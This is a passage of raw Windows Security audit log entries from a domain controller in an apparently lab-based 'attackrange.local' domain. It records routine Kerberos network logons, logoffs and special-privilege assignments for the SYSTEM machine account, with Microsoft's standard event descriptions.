SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249184 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFF08 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249183 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xDFF08 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64166 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249182 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFF08 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249181 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFEA7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249180 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xDFEA7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64165 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249179 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFEA7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249178 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFCD3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249177 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xDFCD3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64164 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249176 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFCD3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249202 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0554 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249201 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0554 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64172 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249200 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0554 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249199 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE04F3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249198 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE04F3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64171 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249197 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE04F3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249196 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE048D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249195 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE048D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64170 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249194 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE048D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249193 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE042C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249192 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE042C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64169 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249191 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE042C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249214 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE06EF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249213 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE06EF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64176 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249212 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE06EF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249211 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE068E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249210 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE068E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64175 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249209 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE068E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249208 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0628 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249207 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0628 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64174 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer 